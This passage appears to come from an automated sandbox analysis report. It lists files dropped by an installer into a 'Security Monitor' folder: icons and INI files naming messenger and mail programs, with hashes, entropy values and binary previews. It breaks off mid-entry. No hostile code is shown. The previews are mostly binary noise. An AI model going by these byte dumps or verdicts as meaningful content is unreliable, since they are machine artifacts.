Preview:	...... .... .(.......(... ...@..... ....................................................................................................................................................................?...................................................*......................................................................................v.../...................o.................................o.................................................................................................................................................................................................................................j.q.W.n.T.{.d..........................l.......................................=..........i.z.c...............^.>.A...A...A...A...A...A...A...A...T.4..................................................................B...B...B...K.&.B...B...B...B...B...B...B...B...B...B...B...B...`.A...........................................................B...B...B...B...B.

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\IM\32x32\is-QLCN5.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	MS Windows icon resource - 1 icon, 32x32, 32 bits/pixel
Category:	dropped
Size (bytes):	4286
Entropy (8bit):	3.327550606417895
Encrypted:	false
SSDEEP:	48:7ok26VKvsyK8gww8d6IrU866xoQ6iekgM7F5F616mlunzNa:7hNqsyw8NxogekgS/01l2zQ
MD5:	B1B0BDF79925656C6612EB420EFDD0CB
SHA1:	67A7A212310C229BD3753F937FE769392719BA85
SHA-256:	02FDCF85764302068222786937E5769650543F7B19B06208B65CE325792E7282
SHA-512:	700EDB186443417B8B5C2FFF44AC0CA4F40492F08789A4C44818F8255E4C5082AB7388AFBEE9DBE86C3979D15FF92F6CF33ED787694470AF7B88B86BD180F01D
Malicious:	false
Reputation:	unknown
Preview:	...... .... .........(... ...@..... ........................................................................................................................................................................................................................................................................................................................................!...!........................................................................................................141.........! !.!$!Z...1...1...)...!............................................................................................RQR9....101.Z]Z.........)()s...J...9...)...!........................................................................................BEBZ............sqs.....! !....Z...J...9...).......................................................................................)141.),).............),)........s...R...B...1...!...........................................................................!...1...J..

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\IM\32x32\is-RVCPB.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	MS Windows icon resource - 1 icon, 32x32, 32 bits/pixel
Category:	dropped
Size (bytes):	4286
Entropy (8bit):	0.6322026813246273
Encrypted:	false
SSDEEP:	12:suE555L555L555L555L55r55r55r555r55r555r555r555r555r555r555r55r5I:suvzPFV5
MD5:	E91EE031E8A775B87A966821F46B8003
SHA1:	B093537BEB4335E306C870ECF6C8C1431279F262
SHA-256:	E01B114837D5A19D2AB3492279F6AA0EA6AB960C4FFEB8369BB1A85F18672337
SHA-512:	70D2E0F656E784A10505BF73568E9BA0329EF612512B62458F3C2A6A44B3E09DF0D18D8B481978C9974A54844C7E67B0D94A56FB0FBCA616A95F21D89F6882F0
Malicious:	false
Reputation:	unknown
Preview:	...... .... .........(... ...@..... ...................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\IM\32x32\is-T7NEH.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	MS Windows icon resource - 1 icon, 32x32, 32 bits/pixel
Category:	dropped
Size (bytes):	4286
Entropy (8bit):	3.066773618954921
Encrypted:	false
SSDEEP:	48:Ph9MjBRXLI4PPPPPPP5PPPlPPPPPvsuzWNQ:PhIl6u
MD5:	2F777CE0EAAF668E63BACB213F805C72
SHA1:	1200A1ACD3E1E8909738870ECA24FD3DB5E4EF4E
SHA-256:	F29CE4EA22FB3C298B8B98E2600D85F76C00C81502332BDC21B6B6D4BFFFA8D1
SHA-512:	5A9E8A41FC543E5AC83C1020CF503C5239D68A68228E18441FD58C560E3D19661F8B54702483984DF378B500DA09D144CD250ABB2A29742066B46E3FC9BC6F68
Malicious:	false
Reputation:	unknown
Preview:	...... .... .........(... ...@..... ..............................................m.*.k...k...l.a.m...............................................................................................................m.u.m...m...m...m...l...m.u.m...l...m...m...m...m...m...n...m.p.q.".............................................................p...p...p...p...p...p...p...p...p...p...p...p...p...p...p...p...p...p...q.?.....................................................q...r...r...r...r...r...r...r...r...r...r...r...r...r...r...r...r...r...r...q...o.'.............................................t...t...t...t...t...t...t...t...t...t...t...t...t...t...t...t...t...t...t...t...t...s.P.....................................u.z.v...v...v...v...v...v...v...v...v...v...v...v...v...v...v...v...v...v...v...v...v...v...v.w.............................y.i.y...y...y...y...y...y...y...y...y...y...y...y...y...y...y...y...y...y...y...y...y...y...y...y...x.f.....................{.6.{...{...{...{...{...{...{...{

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\IM\32x32\is-TEGFK.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	MS Windows icon resource - 1 icon, 32x32, 32 bits/pixel
Category:	dropped
Size (bytes):	4286
Entropy (8bit):	3.066773618954921
Encrypted:	false
SSDEEP:	48:Ph9MjBRXLI4PPPPPPP5PPPlPPPPPvsuzWNQ:PhIl6u
MD5:	2F777CE0EAAF668E63BACB213F805C72
SHA1:	1200A1ACD3E1E8909738870ECA24FD3DB5E4EF4E
SHA-256:	F29CE4EA22FB3C298B8B98E2600D85F76C00C81502332BDC21B6B6D4BFFFA8D1
SHA-512:	5A9E8A41FC543E5AC83C1020CF503C5239D68A68228E18441FD58C560E3D19661F8B54702483984DF378B500DA09D144CD250ABB2A29742066B46E3FC9BC6F68
Malicious:	false
Reputation:	unknown
Preview:	...... .... .........(... ...@..... ..............................................m.*.k...k...l.a.m...............................................................................................................m.u.m...m...m...m...l...m.u.m...l...m...m...m...m...m...n...m.p.q.".............................................................p...p...p...p...p...p...p...p...p...p...p...p...p...p...p...p...p...p...q.?.....................................................q...r...r...r...r...r...r...r...r...r...r...r...r...r...r...r...r...r...r...q...o.'.............................................t...t...t...t...t...t...t...t...t...t...t...t...t...t...t...t...t...t...t...t...t...s.P.....................................u.z.v...v...v...v...v...v...v...v...v...v...v...v...v...v...v...v...v...v...v...v...v...v...v.w.............................y.i.y...y...y...y...y...y...y...y...y...y...y...y...y...y...y...y...y...y...y...y...y...y...y...y...x.f.....................{.6.{...{...{...{...{...{...{...{

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\IM\32x32\is-TLVGL.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	MS Windows icon resource - 1 icon, 32x32, 32 bits/pixel
Category:	dropped
Size (bytes):	4286
Entropy (8bit):	4.015933025401917
Encrypted:	false
SSDEEP:	48:jlLTFwirlRR25mD7NHgf/nrqQ6kcwpgHBWgOXKpAsDn5DnO9eXVP:ZLTFwirlRRymnN0/rqpkcwaDOXZsxqYZ
MD5:	B5DECCE572BF993C4F6CD6BD108DF2C3
SHA1:	21C33E841AF7DE3AF8868EAFF54EDB1492AEBEA4
SHA-256:	42A521BC3EF75526B3A1839DA875A949B369C6A00F2EAA43C8BECBB3E8279555
SHA-512:	EEE0D7F592836DFCEB0D50E2695DF6ACF336211E3C83C9DF8B49325BD03E2B3E5BD39DC8CAE3193A32D953CAA79543F8D356930CC6C6769A861EDA8F31E04D6A
Malicious:	false
Reputation:	unknown
Preview:	...... .... .........(... ...@..... .................................................................................................................................................................F.>.C.;.C.<.C.<.C.;.B.<wC.=.............U.@.B.<UD.<\|C.<.C.<.B.<.D.=.C.<nG.@$....................................................U.U.B.=.B.;.B.;.B.;.B.;.B.;.B.<.B.=hB.<.C.;.B.;.B.;.B.;.B.;.B.;.B.;.B.;.B.;.B.<.D.=mf.f.................................................C.;.B.;.B.;.B.;.B.;.B.;.B.;.B.;.B.;.B.;.B.;.B.;.B.;.B.;.B.;.B.;.B.;.B.;.B.;.C.<.C.=P................................................B.;.B.;.B.;.B.;.B.;.B.;.B.;.T.N..........................O.H.B.;.B.;.B.;.B.;.C.;.............................................C.?AB.;.B.;.B.;.B.;.[.U........................................B.;.B.;.B.;.B.;.B.;.C.;.........................................C.;EB.;.B.;.B.;..............................................B.;.B.;.B.;.B.;.B.;.B.;.C.;.................................F.F.C.;.B.;.B.;..........

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\IM\32x32\is-UIPIG.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	MS Windows icon resource - 1 icon, 32x32, 32 bits/pixel
Category:	dropped
Size (bytes):	4286
Entropy (8bit):	2.904108079904619
Encrypted:	false
SSDEEP:	48:F+E7L9sciO2jASO/R9Zo6bVUZ0SS/UHL4/h3A4+Brwc2Ni:F+qcjZE7ZL6ZTS/Ur+398rwHw
MD5:	B4C726712268AACA5C8044B19D242C56
SHA1:	82295BE76E35F3B7A017C71DF4AFB7BCB13B8BD9
SHA-256:	67360906D5C412946E6621E6952DCC72E260B4BDA6B1097FB89D0968746B557A
SHA-512:	255E561C23605247FCA1BB3F071CE4E87DA9F580C93F9CB87980F2680C106FEF6B91E478953C667E55AC0B9C4891FB0D6389671AD5C1AEF0DD820ABC032A7F62
Malicious:	false
Reputation:	unknown
Preview:	...... .... .........(... ...@..... ...... .............................(...........................................................................................................*...............M...................................................................................................................U.......$...........................................................................................................................-............................................................................................................................................................................................v.v.1.1........................................................................................................................................................................................................................................................................J.J...........................................................................................

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\IM\32x32\is-UJ94G.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	MS Windows icon resource - 1 icon, 32x32, 32 bits/pixel
Category:	dropped
Size (bytes):	4286
Entropy (8bit):	6.123671236740637
Encrypted:	false
SSDEEP:	96:M6HyDOdzc8+Efv02qJgthMtLdhItbSCIYU2P8x4He:YDOd4QH02qJlZdhUzIY0e+
MD5:	9D963AAEF1A316841C2C34AE32CDEDB3
SHA1:	A73386D3ABE3824621B72143E0402BC1388CE700
SHA-256:	9DD59EBDBAA0D4CB4A4422D597DB6C7EEC60624F042A273AB1C75AD785168945
SHA-512:	81757CF518EFB4CCB90BFE35383D39D16F5C9210BBA8EE2E58F62A4961591F4244D78C6702B1AD022E9205C7177976B2E8EDC8E8FA5C4BCD2BB6F95F504140B2
Malicious:	false
Reputation:	unknown
Preview:	...... .... .........(... ...@..... ................................................................h-L/./d5.,R/....t........................................................................................................3M3.).C...5.../...1.(.;..I-.................................................................................................3&.$.;.....................!.,.#-.........("&..-^0.,b1. &......................................................................6t8.............................%c$....));$...(...!...'.".8.)='................................................................&/.0..............................l..!.......................&.2....@............................................................,p(...............0...7...1......i..):#..........................&.s............................................................I#...........8.).M./.U./.P.).?. f.."[&...:.&.J.'.G...5..........".q.......9...M...<........................................... ..._.y....$.,.

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\IM\32x32\mail.ico (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	MS Windows icon resource - 1 icon, 32x32, 32 bits/pixel
Category:	dropped
Size (bytes):	4286
Entropy (8bit):	3.0368545253190575
Encrypted:	false
SSDEEP:	24:suW8FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFd:CnnnnnnnckhOktpqNbfYI0HnnU
MD5:	FDA8396F15F15D61AC82C01DEBD0C356
SHA1:	CB0B8623FB7B62BACA444C76BE9F69BD4D2963A1
SHA-256:	E9180F49762D2798D2D3AF867BFA78F7CDEAA87BE9190C4D40BBA799F6E49FCC
SHA-512:	DEEB917EB7240A2D157F11F2167A1B3FE6CE91C63B125F18671C03D8117AAC736B431BBCF6015A73DBEDD94A8F5D10D1988D7FC96FCA0B3F05324EE800581D15
Malicious:	false
Reputation:	unknown
Preview:	...... .... .........(... ...@..... .........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...................................................................................................................H...H...H...H.....................................

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\IM\32x32\none.ico (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	MS Windows icon resource - 1 icon, 32x32, 32 bits/pixel
Category:	dropped
Size (bytes):	4286
Entropy (8bit):	0.6322026813246273
Encrypted:	false
SSDEEP:	12:suE555L555L555L555L55r55r55r555r55r555r555r555r555r555r555r55r5I:suvzPFV5
MD5:	E91EE031E8A775B87A966821F46B8003
SHA1:	B093537BEB4335E306C870ECF6C8C1431279F262
SHA-256:	E01B114837D5A19D2AB3492279F6AA0EA6AB960C4FFEB8369BB1A85F18672337
SHA-512:	70D2E0F656E784A10505BF73568E9BA0329EF612512B62458F3C2A6A44B3E09DF0D18D8B481978C9974A54844C7E67B0D94A56FB0FBCA616A95F21D89F6882F0
Malicious:	false
Reputation:	unknown
Preview:	...... .... .........(... ...@..... ...................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\IM\32x32\qip.ico (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	MS Windows icon resource - 1 icon, 32x32, 32 bits/pixel
Category:	dropped
Size (bytes):	4286
Entropy (8bit):	5.07531325717377
Encrypted:	false
SSDEEP:	48:n2to4hDDD+l6ZtQE1mA/+PWLlClkKAUqjcVGTJUysHFa/IJu:2tthDDal6LL+PWQSB6sTqysHFaQJu
MD5:	D0D41AD531613F51005CFDD6E7AFC134
SHA1:	828A3A01B74603403798155326286743F5E4000C
SHA-256:	0E43F7B2B24A035112F9FACD840EF0856F68260BA890CA1EDD7FF7B4A1DD3036
SHA-512:	3471310FDE5E1341FD75B69C5271B15B385885E90A277E90F989D75638CCCA63E1E04BF4574E2610B24AC16BD0C04113EFC15E5B2A25EBC94191845BD03E8F44
Malicious:	false
Reputation:	unknown
Preview:	...... .... .........(... ...@..... .........................................................................RRR.VWW.}...ccd.ccd.~...dee.-...............................................................................................qrr.))).....................................................................................................................PRR.]__.'''.9;:.?CA.<>=.<?=.@CA.011....%uxx.............................................................................................wxw.........................NOO.................TTT.BBB.;;;.........................................JJJ.HHH.OOO=eee.TSS.ZYY+433.........`.y.E.e.F.f.Y.v.................bbb.[[Z....O.......................................................................2...........0...%...'...+...........2...4........XXX.....xxx.............................................................lll....F........1...7...8...............Y............ppp.....ccc.........................\\\.ttt.nnn.non.ddc.rrr...............

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\IM\32x32\skype.ico (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	MS Windows icon resource - 1 icon, 32x32, 32 bits/pixel
Category:	dropped
Size (bytes):	4286
Entropy (8bit):	3.980115331909525
Encrypted:	false
SSDEEP:	48:zCCCPJgo7qkfGEEEEEEEEEE1vt9COYNybhh3cGcm:O1So7qkf8zyNw33P
MD5:	6447AACD6C19A9D3F0CDB2322620997A
SHA1:	DECED599496691BB5403D8CAA063227181400DED
SHA-256:	B5D3DDED1F4C3F75C033E19008119BC8E283DE10BBBCE39488854028C54511ED
SHA-512:	91942D1C960B176BCA722CB5AF08B38A0072B789EC9E8B75236662BD69418251FBC1A30A41FD1FE0264CA34934608989AD441E728972F1E389CDB3E30F9336FF
Malicious:	false
Reputation:	unknown
Preview:	...... .... .........(... ...@..... .................................................................................................................................................................................................................................................................................................................................................../..?..?../............................o...................................................................................................................?.............................................................................................................?......................................o...........................................................................................................................................................................o........................................

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\IM\32x32\slack.ico (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	MS Windows icon resource - 1 icon, 32x32, 32 bits/pixel
Category:	dropped
Size (bytes):	4286
Entropy (8bit):	4.943764396001677
Encrypted:	false
SSDEEP:	48:LvIxIlvIfcPp3sOHG3cj4D0oT9wgXXXXXXDpXXXXXXDBXXXXXX5vXXXXj9FLXo4O:LvIxIlvIEx3rHb4D0WpZYO2B
MD5:	0075259CD4B132A02EB69CA2D82B1021
SHA1:	D0F009D16495A8480891E0BB1F4D9EF7DFC96B18
SHA-256:	EF6FF1A4B4740C8BA8817D625895D36DDD386C051B798A210EA9B59F68BBAEB7
SHA-512:	2803475A5F0E2B277A022DA9122B6AF5BD1EA8F663C77F39FD2EF739729721A9ADA3B27DC50F8C37B959E45E9A78F8675BB6EDE9AFE77AFCF6DBB54B8D6D3A78
Malicious:	false
Reputation:	unknown
Preview:	...... .... .........(... ...@..... ................................................................................'...,...1...1...,...'...............................................................................................1...\.................................\...1...........................................................................6...........................................................6...........................................................(...m.................................................................m...(....................................................................................................................................................................................................sA..m9..................E...Q.................................................................(...........................b)..Z...Z...Z.......................<.................................(...........................m..........................

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\IM\32x32\trillian.ico (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	MS Windows icon resource - 1 icon, 32x32, 32 bits/pixel
Category:	dropped
Size (bytes):	4286
Entropy (8bit):	4.548751958766154
Encrypted:	false
SSDEEP:	48:I36IcaNTUkY37c3Yd/oB3cEYp2LctCWZhlt9b7Q01iEtcm:I39NART/EshwaCOLfQmdth
MD5:	3FF113ABAD7A9C6F2AE88B1680E5DE0E
SHA1:	840BDB6139021E1FE655C240324A64481BB999FF
SHA-256:	57EEA00C948FF2F8EE9604160F4143891E5F5792765961408CE99E68CAB04BB6
SHA-512:	52B899DA820C3E3195799300122346B1A461B5139C213CEB8DED89734CDAD45878BE7E2B2F21AB5F9301CDABE6E2628571C9BB62923E318947FB41C0F2D78BF0
Malicious:	false
Reputation:	unknown
Preview:	...... .... .........(... ...@..... ..........................................................................................................................................................................................................................................................%...................................................................................................#...G...d...\|....962.:62.;73........]...6..."..."................................................................... .......5...n....gaZ..\|.......................g`Y....K...........................................................................R...vnhb............................................PKEV...................................................................T-+(......................................................................................................................F.+).....................r.~.`...N.bN.`N.X\..sm.v...............}..............................................

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\IM\IM.ini (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	Generic INItialization configuration [Zoom]
Category:	dropped
Size (bytes):	892
Entropy (8bit):	5.034196121894832
Encrypted:	false
SSDEEP:	24:0O8pqq2DktMmZFxw5vb6ocEzWSM90EeG3GjTA/nyeX+Nq7F21:VtjsWWTp2Ea8U
MD5:	9D370AE1F35460B31952976C7E2AE06D
SHA1:	51AB3EEB2789513AA9CB257C92B54E7CD3B9554E
SHA-256:	2BBB1633EE6C1EC33FC7358C86A8C3293A199AB96E353336425DFE1023D0B597
SHA-512:	F611550CFE595D3C7C8660ACC7E4B301A53E44751447CCD1F207B4BC9B498750B8400D8B44715FF3065ADECAC0D23CAB34C3325086E4F116A38DB532BDEA0AF6
Malicious:	false
Reputation:	unknown
Preview:	[Skype]..ID="skype.exe"..NodeID=41..[Zoom]..ID="Zoom.exe"..NodeID=73..[Telegram]..ID="telegram.exe"..NodeID=52..[Facebook Messenger]..ID="Messenger.exe"..NodeID=71..[Viber]..ID="viber.exe"..NodeID=50..[WhatsApp]..ID="whatsapp.exe"..NodeID=51..[Discord]..ID="Discord.exe"..NodeID=72..[Slack]..ID="slack.exe"..NodeID=70..[Microsoft Teams]..ID="Teams.exe"..NodeID=74..[Line]..ID="line.exe"..NodeID=58..[ICQ]..ID="icq.exe"..NodeID=39..[Google Talk]..ID="googletalk.exe"..NodeID=38..[Yahoo! Messenger]..ID="YahooMessenger.exe"..NodeID=40..[AIM]..ID="aim.exe"..NodeID=37..[Trillian]..ID="trillian.exe"..NodeID=42..[Windows Live Messenger]..ID="msnmsgr.exe"..NodeID=43..[Tencent QQ]..ID="QQ.exe"..NodeID=44..[QIP]..ID="qip.exe"..NodeID=45..; 47 48 - mobile..[Mail Agent]..ID="magent.exe"..NodeID=53..[Mozilla Thunderbird]..ID="thunderbird.exe"..NodeID=66..[Opera Mail]..ID="operamail.exe"..NodeID=67

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\IM\default.ini (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	234
Entropy (8bit):	4.779626123051365
Encrypted:	false
SSDEEP:	6:ok+vRlSyWL3eNmKRvsllLEJEEs1DqMVSO7DDlotFkMHPJn:EvRSDe7alnEyFSO5uLx
MD5:	CD36DD43C387D31BE9DCDF92EB54972D
SHA1:	A8A28D3A5BD6F747549C555D33FACC1A1B4B1CF9
SHA-256:	CEC4B8CDA2278106D7107EF6663C2797FEE902ABAF7030FA6CDC1B8014A04C49
SHA-512:	B696A1A1767F3EDBF5784433B735134366F7E6424F366F432852635BFABAC391BA46E07C0218B22BDA10C80E8710C4981F50328897FD7ACD440EC65274548B18
Malicious:	false
Reputation:	unknown
Preview:	Skype..Zoom..Telegram..Facebook Messenger..Viber..WhatsApp..Discord..Slack..Microsoft Teams..Line..ICQ..Google Talk..Yahoo! Messenger..AIM..Trillian..Windows Live Messenger..Tencent QQ..QIP..Mail Agent..Mozilla Thunderbird..Opera Mail

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\IM\is-G49N2.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	Generic INItialization configuration [Zoom]
Category:	dropped
Size (bytes):	892
Entropy (8bit):	5.034196121894832
Encrypted:	false
SSDEEP:	24:0O8pqq2DktMmZFxw5vb6ocEzWSM90EeG3GjTA/nyeX+Nq7F21:VtjsWWTp2Ea8U
MD5:	9D370AE1F35460B31952976C7E2AE06D
SHA1:	51AB3EEB2789513AA9CB257C92B54E7CD3B9554E
SHA-256:	2BBB1633EE6C1EC33FC7358C86A8C3293A199AB96E353336425DFE1023D0B597
SHA-512:	F611550CFE595D3C7C8660ACC7E4B301A53E44751447CCD1F207B4BC9B498750B8400D8B44715FF3065ADECAC0D23CAB34C3325086E4F116A38DB532BDEA0AF6
Malicious:	false
Reputation:	unknown
Preview:	[Skype]..ID="skype.exe"..NodeID=41..[Zoom]..ID="Zoom.exe"..NodeID=73..[Telegram]..ID="telegram.exe"..NodeID=52..[Facebook Messenger]..ID="Messenger.exe"..NodeID=71..[Viber]..ID="viber.exe"..NodeID=50..[WhatsApp]..ID="whatsapp.exe"..NodeID=51..[Discord]..ID="Discord.exe"..NodeID=72..[Slack]..ID="slack.exe"..NodeID=70..[Microsoft Teams]..ID="Teams.exe"..NodeID=74..[Line]..ID="line.exe"..NodeID=58..[ICQ]..ID="icq.exe"..NodeID=39..[Google Talk]..ID="googletalk.exe"..NodeID=38..[Yahoo! Messenger]..ID="YahooMessenger.exe"..NodeID=40..[AIM]..ID="aim.exe"..NodeID=37..[Trillian]..ID="trillian.exe"..NodeID=42..[Windows Live Messenger]..ID="msnmsgr.exe"..NodeID=43..[Tencent QQ]..ID="QQ.exe"..NodeID=44..[QIP]..ID="qip.exe"..NodeID=45..; 47 48 - mobile..[Mail Agent]..ID="magent.exe"..NodeID=53..[Mozilla Thunderbird]..ID="thunderbird.exe"..NodeID=66..[Opera Mail]..ID="operamail.exe"..NodeID=67

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\IM\is-KG47K.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	234
Entropy (8bit):	4.779626123051365
Encrypted:	false
SSDEEP:	6:ok+vRlSyWL3eNmKRvsllLEJEEs1DqMVSO7DDlotFkMHPJn:EvRSDe7alnEyFSO5uLx
MD5:	CD36DD43C387D31BE9DCDF92EB54972D
SHA1:	A8A28D3A5BD6F747549C555D33FACC1A1B4B1CF9
SHA-256:	CEC4B8CDA2278106D7107EF6663C2797FEE902ABAF7030FA6CDC1B8014A04C49
SHA-512:	B696A1A1767F3EDBF5784433B735134366F7E6424F366F432852635BFABAC391BA46E07C0218B22BDA10C80E8710C4981F50328897FD7ACD440EC65274548B18
Malicious:	false
Reputation:	unknown
Preview:	Skype..Zoom..Telegram..Facebook Messenger..Viber..WhatsApp..Discord..Slack..Microsoft Teams..Line..ICQ..Google Talk..Yahoo! Messenger..AIM..Trillian..Windows Live Messenger..Tencent QQ..QIP..Mail Agent..Mozilla Thunderbird..Opera Mail

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\IM\ru\default.ini (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	72
Entropy (8bit):	4.608502996059392
Encrypted:	false
SSDEEP:	3:yqy/nveX+vRo65zHyyWVovaBWU:ok+vRlSyWLh
MD5:	DE0E549A26866981947B7D3653B50B52
SHA1:	493223B85EB9A64FB6A7BF563FAF4E5102C6BBEC
SHA-256:	92DA12EB285A3B9AAEC1D50DA7F17F325216FF874C72351D1811E367E190AF5A
SHA-512:	D567E6694049647E2BE752D4FA13FA52F0409B9170617307F8B47FA132A5C7F276D2BCB3D5A6B50FCBF7A0A2AB6C77C5D38188C0B71249083DA57614A9550780
Malicious:	false
Reputation:	unknown
Preview:	Skype..Zoom..Telegram..Facebook Messenger..Viber..WhatsApp..Discord..QIP

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\IM\ru\is-59I55.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	72
Entropy (8bit):	4.608502996059392
Encrypted:	false
SSDEEP:	3:yqy/nveX+vRo65zHyyWVovaBWU:ok+vRlSyWLh
MD5:	DE0E549A26866981947B7D3653B50B52
SHA1:	493223B85EB9A64FB6A7BF563FAF4E5102C6BBEC
SHA-256:	92DA12EB285A3B9AAEC1D50DA7F17F325216FF874C72351D1811E367E190AF5A
SHA-512:	D567E6694049647E2BE752D4FA13FA52F0409B9170617307F8B47FA132A5C7F276D2BCB3D5A6B50FCBF7A0A2AB6C77C5D38188C0B71249083DA57614A9550780
Malicious:	false
Reputation:	unknown
Preview:	Skype..Zoom..Telegram..Facebook Messenger..Viber..WhatsApp..Discord..QIP

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\IM\zh\default.ini (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	35
Entropy (8bit):	4.150292659616668
Encrypted:	false
SSDEEP:	3:yqyxATSfR6lLEJO:XblLEJO
MD5:	A81D187F7CF46F4FC7336B86CBAEC37F
SHA1:	7B0E93E0B0E167997960C23CCA5A75B051EB30E9
SHA-256:	1231CA0960A50BFE65D8931A816737054757963C4C7CDE91B696E4C171B5D609
SHA-512:	7F1A558A3F19C29093245687B1DE5A20CF63C6134DAFDF8EA9F64D7116B7F83B2996EF26AF6118AC8003DA954A5B1A99262D1F7D7062FC399302508487C31ACC
Malicious:	false
Reputation:	unknown
Preview:	Skype..Tencent QQ..ICQ..Google Talk

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\IM\zh\is-09EOP.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	35
Entropy (8bit):	4.150292659616668
Encrypted:	false
SSDEEP:	3:yqyxATSfR6lLEJO:XblLEJO
MD5:	A81D187F7CF46F4FC7336B86CBAEC37F
SHA1:	7B0E93E0B0E167997960C23CCA5A75B051EB30E9
SHA-256:	1231CA0960A50BFE65D8931A816737054757963C4C7CDE91B696E4C171B5D609
SHA-512:	7F1A558A3F19C29093245687B1DE5A20CF63C6134DAFDF8EA9F64D7116B7F83B2996EF26AF6118AC8003DA954A5B1A99262D1F7D7062FC399302508487C31ACC
Malicious:	false
Reputation:	unknown
Preview:	Skype..Tencent QQ..ICQ..Google Talk

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\PR\1\1.html (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	HTML document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	12965
Entropy (8bit):	4.7252821159716
Encrypted:	false
SSDEEP:	384:fosFgDIOR12U81EfXbWtk4VAwvZRlppVLMQ:fos4II2U81EfLWtk4VAwvNpUQ
MD5:	5EC6E79E4BA242B21EBD31F4EF89BEB8
SHA1:	7D0202CC4739CFA0C8459E9347260F8F44DD72BF
SHA-256:	1B7D810D6F1338C3D06A01E067E0F933319048A03CCA73DBEA955400216448A3
